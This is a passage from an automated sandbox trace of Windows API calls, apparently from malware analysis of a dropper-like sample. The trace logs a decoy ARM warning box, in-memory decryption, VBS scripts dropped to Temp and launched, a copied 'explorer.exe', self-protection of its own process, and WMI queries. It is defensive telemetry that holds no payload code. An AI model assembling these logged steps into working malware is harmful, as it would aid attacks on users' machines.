ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0159.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b6bda30) returned 1 [0159.168] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\d0f1632a2a1f07a454a3bd0f58eb4ba0", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b6bdd98 | out: phkResult=0x1b6bdd98*=0x0) returned 0x2 [0159.171] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\d0f1632a2a1f07a454a3bd0f58eb4ba0", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b6bdca8 | out: phkResult=0x1b6bdca8*=0x0) returned 0x2 [0159.171] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\d0f1632a2a1f07a454a3bd0f58eb4ba0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1b6bdd00, lpdwDisposition=0x1b6bdde8 | out: phkResult=0x1b6bdd00*=0x550, lpdwDisposition=0x1b6bdde8*=0x1) returned 0x0 [0159.177] RegQueryValueExW (in: hKey=0x550, lpValueName="d0f1632a2a1f07a454a3bd0f58eb4ba0", lpReserved=0x0, lpType=0x1b6bddb8, lpData=0x0, lpcbData=0x1b6bddb0*=0x0 | out: lpType=0x1b6bddb8*=0x0, lpData=0x0, lpcbData=0x1b6bddb0*=0x0) returned 0x2 [0159.177] RegSetValueExW (in: hKey=0x550, lpValueName="d0f1632a2a1f07a454a3bd0f58eb4ba0", Reserved=0x0, dwType=0x1, lpData="d0f1632a2a1f07a454a3bd0f58eb4ba0", cbData=0x42 | out: lpData="d0f1632a2a1f07a454a3bd0f58eb4ba0") returned 0x0 [0159.193] GetProcessWindowStation () returned 0xdc [0159.207] GetUserObjectInformationA (in: hObj=0xdc, nIndex=1, pvInfo=0x2c576a8, nLength=0xc, lpnLengthNeeded=0x1b6bdd10 | out: pvInfo=0x2c576a8, lpnLengthNeeded=0x1b6bdd10) returned 1 [0159.308] GetActiveWindow () returned 0x0 [0159.313] GetCurrentProcess () returned 0xffffffffffffffff [0159.313] GetCurrentThread () returned 0xfffffffffffffffe [0159.313] GetCurrentProcess () returned 0xffffffffffffffff [0159.315] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1b6bdcb0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1b6bdcb0*=0x55c) returned 1 [0159.323] GetCurrentThreadId () returned 0x990 [0159.331] OleInitialize (pvReserved=0x0) returned 0x80010106 [0159.334] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x1b6bdcc8 | out: lplpMessageFilter=0x1b6bdcc8*=0x0) returned 0x80004021 [0159.346] GetCurrentThreadId () returned 0x990 [0159.353] EnumThreadWindows (dwThreadId=0x990, lpfn=0x1ace170c, lParam=0x0) returned 1 [0159.353] GetActiveWindow () returned 0x0 [0159.355] GetFocus () returned 0x0 [0159.359] MessageBoxW (hWnd=0x0, lpText="This file not support on x64 ARM version.", lpCaption="Warning!", uType=0x11) returned 1 [0160.843] SendMessageW (hWnd=0x0, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0160.843] CoUninitialize () Thread: id = 256 os_tid = 0xd74 [0158.806] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0158.806] RoInitialize () returned 0x1 [0158.806] RoUninitialize () returned 0x0 [0158.926] CoUninitialize () Thread: id = 257 os_tid = 0x524 [0158.932] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0158.932] RoInitialize () returned 0x1 [0158.932] RoUninitialize () returned 0x0 [0159.083] CoTaskMemAlloc (cb=0x20c) returned 0x1b35e860 [0159.083] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b35e860 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0159.083] CoTaskMemFree (pv=0x1b35e860) [0159.084] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1bb9ddd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0159.085] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1bb9ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0159.085] CoCreateGuid (in: pguid=0x1bb9e378 | out: pguid=0x1bb9e378*(Data1=0xd4294808, Data2=0x742c, Data3=0x4d98, Data4=([0]=0x95, [1]=0x37, [2]=0x1e, [3]=0x79, [4]=0xe4, [5]=0xc6, [6]=0x24, [7]=0x34))) returned 0x0 [0159.479] CryptAcquireContextW (in: phProv=0x1bb9cdc8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1bb9cdc8*=0x1b2f1490) returned 1 [0159.479] CryptImportKey (in: hProv=0x1b2f1490, pbData=0x2cddeb8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1bb9cd50 | out: phKey=0x1bb9cd50*=0x1b34ae20) returned 1 [0159.480] CryptContextAddRef (hProv=0x1b2f1490, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.480] CryptContextAddRef (hProv=0x1b2f1490, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.480] CryptDuplicateKey (in: hKey=0x1b34ae20, pdwReserved=0x0, dwFlags=0x0, phKey=0x1bb9cd40 | out: phKey=0x1bb9cd40*=0x1b34abf0) returned 1 [0159.480] CryptContextAddRef (hProv=0x1b2f1490, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.480] CryptSetKeyParam (hKey=0x1b34abf0, dwParam=0x4, pbData=0x2cddfd8*=0x1, dwFlags=0x0) returned 1 [0159.480] CryptSetKeyParam (hKey=0x1b34abf0, dwParam=0x1, pbData=0x2cddf88, dwFlags=0x0) returned 1 [0159.480] CryptDestroyKey (hKey=0x1b34ae20) returned 1 [0159.480] CryptReleaseContext (hProv=0x1b2f1490, dwFlags=0x0) returned 1 [0159.480] CryptReleaseContext (hProv=0x1b2f1490, dwFlags=0x0) returned 1 [0159.480] CryptDecrypt (in: hKey=0x1b34abf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2cddff8, pdwDataLen=0x1bb9cea0 | out: pbData=0x2cddff8, pdwDataLen=0x1bb9cea0) returned 1 [0159.481] CryptDecrypt (in: hKey=0x1b34abf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2cde968, pdwDataLen=0x1bb9ce90 | out: pbData=0x2cde968, pdwDataLen=0x1bb9ce90) returned 0 [0161.636] CryptDestroyKey (hKey=0x1b34abf0) returned 1 [0161.637] CryptReleaseContext (hProv=0x1b2f1490, dwFlags=0x0) returned 1 [0161.637] CryptReleaseContext (hProv=0x1b2f1490, dwFlags=0x0) returned 1 [0161.879] GetCurrentProcessId () returned 0x10c0 [0161.945] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\d4294808-742c-4d98-9537-1e79e4c62434.vbs", nBufferLength=0x105, lpBuffer=0x1bb9dbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\d4294808-742c-4d98-9537-1e79e4c62434.vbs", lpFilePart=0x0) returned 0x51 [0161.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb9e090) returned 1 [0161.946] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\d4294808-742c-4d98-9537-1e79e4c62434.vbs" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\d4294808-742c-4d98-9537-1e79e4c62434.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x54c [0161.948] GetFileType (hFile=0x54c) returned 0x1 [0161.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb9e000) returned 1 [0161.948] GetFileType (hFile=0x54c) returned 0x1 [0161.951] WriteFile (in: hFile=0x54c, lpBuffer=0x2de7f90*, nNumberOfBytesToWrite=0x2be, lpNumberOfBytesWritten=0x1bb9e0c8, lpOverlapped=0x0 | out: lpBuffer=0x2de7f90*, lpNumberOfBytesWritten=0x1bb9e0c8*=0x2be, lpOverlapped=0x0) returned 1 [0161.953] CloseHandle (hObject=0x54c) returned 1 [0161.964] LocalAlloc (uFlags=0x0, uBytes=0xa4) returned 0x1b2c81c0 [0163.506] LocalFree (hMem=0x1b2c81c0) returned 0x0 [0163.507] CoTaskMemAlloc (cb=0x20c) returned 0x1b35c880 [0163.507] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b35c880 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0163.507] CoTaskMemFree (pv=0x1b35c880) [0163.507] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1bb9ddd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0163.508] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1bb9ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0163.508] CoCreateGuid (in: pguid=0x1bb9e378 | out: pguid=0x1bb9e378*(Data1=0x68366bda, Data2=0x2e55, Data3=0x443c, Data4=([0]=0x92, [1]=0x7d, [2]=0x1f, [3]=0xfb, [4]=0x87, [5]=0xbf, [6]=0xb9, [7]=0xfd))) returned 0x0 [0163.508] CoTaskMemAlloc (cb=0x20c) returned 0x1b35ffc0 [0163.508] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b35ffc0 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0163.508] CoTaskMemFree (pv=0x1b35ffc0) [0163.508] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1bb9ddd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0163.509] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1bb9ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0163.509] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1bb9ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe", lpFilePart=0x0) returned 0x1a [0163.510] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\ad57480fc18d55031cc7c956bc8beabb89eebdeb.exe", nBufferLength=0x105, lpBuffer=0x1bb9ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\ad57480fc18d55031cc7c956bc8beabb89eebdeb.exe", lpFilePart=0x0) returned 0x55 [0163.510] CopyFileW (lpExistingFileName="C:\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\ad57480fc18d55031cc7c956bc8beabb89eebdeb.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\ad57480fc18d55031cc7c956bc8beabb89eebdeb.exe"), bFailIfExists=0) returned 1 [0164.226] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\68366bda-2e55-443c-927d-1ffb87bfb9fd.vbs", nBufferLength=0x105, lpBuffer=0x1bb9dbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\68366bda-2e55-443c-927d-1ffb87bfb9fd.vbs", lpFilePart=0x0) returned 0x51 [0164.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb9e090) returned 1 [0164.226] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\68366bda-2e55-443c-927d-1ffb87bfb9fd.vbs" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\68366bda-2e55-443c-927d-1ffb87bfb9fd.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x504 [0164.226] GetFileType (hFile=0x504) returned 0x1 [0164.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb9e000) returned 1 [0164.227] GetFileType (hFile=0x504) returned 0x1 [0164.228] WriteFile (in: hFile=0x504, lpBuffer=0x3001ef8*, nNumberOfBytesToWrite=0x1e5, lpNumberOfBytesWritten=0x1bb9e0c8, lpOverlapped=0x0 | out: lpBuffer=0x3001ef8*, lpNumberOfBytesWritten=0x1bb9e0c8*=0x1e5, lpOverlapped=0x0) returned 1 [0164.229] CloseHandle (hObject=0x504) returned 1 [0164.231] LocalAlloc (uFlags=0x0, uBytes=0xa4) returned 0x1b3add80 [0164.564] LocalFree (hMem=0x1b3add80) returned 0x0 [0164.565] CoUninitialize () Thread: id = 259 os_tid = 0x1364 [0161.978] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0161.979] RoInitialize () returned 0x1 [0161.979] RoUninitialize () returned 0x0 [0161.981] ShellExecuteExW (in: pExecInfo=0x2de9148*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\d4294808-742c-4d98-9537-1e79e4c62434.vbs", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2de9148*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\d4294808-742c-4d98-9537-1e79e4c62434.vbs", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x6c4)) returned 1 [0163.441] CoGetContextToken (in: pToken=0x1d1df450 | out: pToken=0x1d1df450) returned 0x0 [0163.443] CoUninitialize () Thread: id = 260 os_tid = 0xd4c Thread: id = 261 os_tid = 0xa6c Thread: id = 262 os_tid = 0x1290 Thread: id = 265 os_tid = 0x1258 [0164.264] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0164.265] RoInitialize () returned 0x1 [0164.265] RoUninitialize () returned 0x0 [0164.266] ShellExecuteExW (in: pExecInfo=0x30030b0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\68366bda-2e55-443c-927d-1ffb87bfb9fd.vbs", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x30030b0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\68366bda-2e55-443c-927d-1ffb87bfb9fd.vbs", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x740)) returned 1 [0164.485] CoGetContextToken (in: pToken=0x1d7def60 | out: pToken=0x1d7def60) returned 0x0 [0164.486] CoUninitialize () Thread: id = 267 os_tid = 0xd40 Thread: id = 278 os_tid = 0x9e8 Thread: id = 279 os_tid = 0x121c [0170.809] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0170.809] RoInitialize () returned 0x1 [0170.809] RoUninitialize () returned 0x0 [0170.813] ResetEvent (hEvent=0x300) returned 1 Thread: id = 280 os_tid = 0x4a4 [0192.115] CoGetContextToken (in: pToken=0x1dbdedf0 | out: pToken=0x1dbdedf0) returned 0x0 [0192.115] IUnknown:QueryInterface (in: This=0x4b00f0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dbdee28 | out: ppvObject=0x1dbdee28*=0x4b0108) returned 0x0 [0192.115] IComThreadingInfo:GetCurrentThreadType (in: This=0x4b0108, pThreadType=0x1dbdee98 | out: pThreadType=0x1dbdee98*=0) returned 0x0 [0192.115] IUnknown:Release (This=0x4b0108) returned 0x1 Thread: id = 283 os_tid = 0x11f4 Thread: id = 284 os_tid = 0x1378 [0172.997] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0172.997] RoInitialize () returned 0x1 [0172.997] RoUninitialize () returned 0x0 [0203.920] GetCurrentProcessId () returned 0x10c0 [0203.923] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x10c0) returned 0xb8c [0203.924] GetExitCodeProcess (in: hProcess=0xb8c, lpExitCode=0x27b0ffc | out: lpExitCode=0x27b0ffc*=0x103) returned 1 [0203.942] NtSetInformationProcess (ProcessHandle=0xb8c, ProcessInformationClass=0x1d, ProcessInformation=0x1b9fdc50, ProcessInformationLength=0x4) returned 0x0 [0203.943] CoUninitialize () Thread: id = 288 os_tid = 0x694 [0173.543] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0173.543] RoInitialize () returned 0x1 [0173.543] RoUninitialize () returned 0x0 [0174.415] CoUninitialize () Thread: id = 289 os_tid = 0xd90 [0173.709] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0173.709] RoInitialize () returned 0x1 [0173.709] RoUninitialize () returned 0x0 [0173.927] CoUninitialize () Thread: id = 290 os_tid = 0xd94 [0173.855] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0173.855] RoInitialize () returned 0x1 [0173.855] RoUninitialize () returned 0x0 [0174.826] GetComputerNameW (in: lpBuffer=0x1d2dde20, nSize=0x289f128 | out: lpBuffer="XC64ZB", nSize=0x289f128) returned 1 [0174.834] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1d2ddfa8, lpData=0x0, lpcbData=0x1d2ddfa0*=0x0 | out: lpType=0x1d2ddfa8*=0x3, lpData=0x0, lpcbData=0x1d2ddfa0*=0x0) returned 0xea [0175.519] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1d2ddfa8, lpData=0x27dfd70, lpcbData=0x1d2ddf98*=0xfde8 | out: lpType=0x1d2ddfa8*=0x3, lpData=0x27dfd70*=0x50, lpcbData=0x1d2ddf98*=0xfde8) returned 0xea [0186.763] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1d2ddfa8, lpData=0x12441970, lpcbData=0x1d2ddf98*=0x1fbd0 | out: lpType=0x1d2ddfa8*=0x3, lpData=0x12441970*=0x50, lpcbData=0x1d2ddf98*=0x1fbd0) returned 0xea [0199.549] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1d2ddfa8, lpData=0x124a15e8, lpcbData=0x1d2ddf98*=0x3f7a0 | out: lpType=0x1d2ddfa8*=0x3, lpData=0x124a15e8*=0x50, lpcbData=0x1d2ddf98*=0x3f7a0) returned 0xea [0206.575] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Global", lpReserved=0x0, lpType=0x1d2ddfa8, lpData=0x1269f240, lpcbData=0x1d2ddf98*=0x7ef40 | out: lpType=0x1d2ddfa8*=0x3, lpData=0x1269f240*, lpcbData=0x1d2ddf98*=0x4eba8) returned 0x0 [0251.976] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Counter 009", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x7, lpData=0x0, lpcbData=0x1d2ddf80*=0x35140) returned 0x0 [0253.646] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="Counter 009", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x124c2ac0, lpcbData=0x1d2ddf80*=0x35140 | out: lpType=0x1d2ddf88*=0x7, lpData=0x124c2ac0*, lpcbData=0x1d2ddf80*=0x35140) returned 0x0 [0253.664] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0254.090] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\Processor\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1d2de0c8 | out: phkResult=0x1d2de0c8*=0x0) returned 0x2 [0254.116] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0254.276] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x28bce90, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x28bce90*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0254.309] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\PhysicalDisk\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1d2de0c8 | out: phkResult=0x1d2de0c8*=0x0) returned 0x2 [0254.311] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0254.311] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x27a3e10, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x27a3e10*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0254.442] GetTickCount64 () returned 0xab68af [0254.443] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0254.443] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x27b6540, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x27b6540*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0254.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1d2dd960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0254.454] LoadLibraryW (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\perfcounter.dll") returned 0x7ffa591f0000 [0254.471] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0254.472] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x27c7e48, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x27c7e48*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0254.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0254.485] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0254.485] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0254.491] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0254.492] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0254.492] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0254.492] IUnknown:Release (This=0x4b0108) returned 0x0 [0254.494] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496a40) returned 0x0 [0254.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0254.495] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496a40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d496a80) returned 0x0 [0254.495] WbemLocator:IUnknown:Release (This=0x1d496a40) returned 0x0 [0254.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d496a80) returned 0x0 [0254.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0254.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, 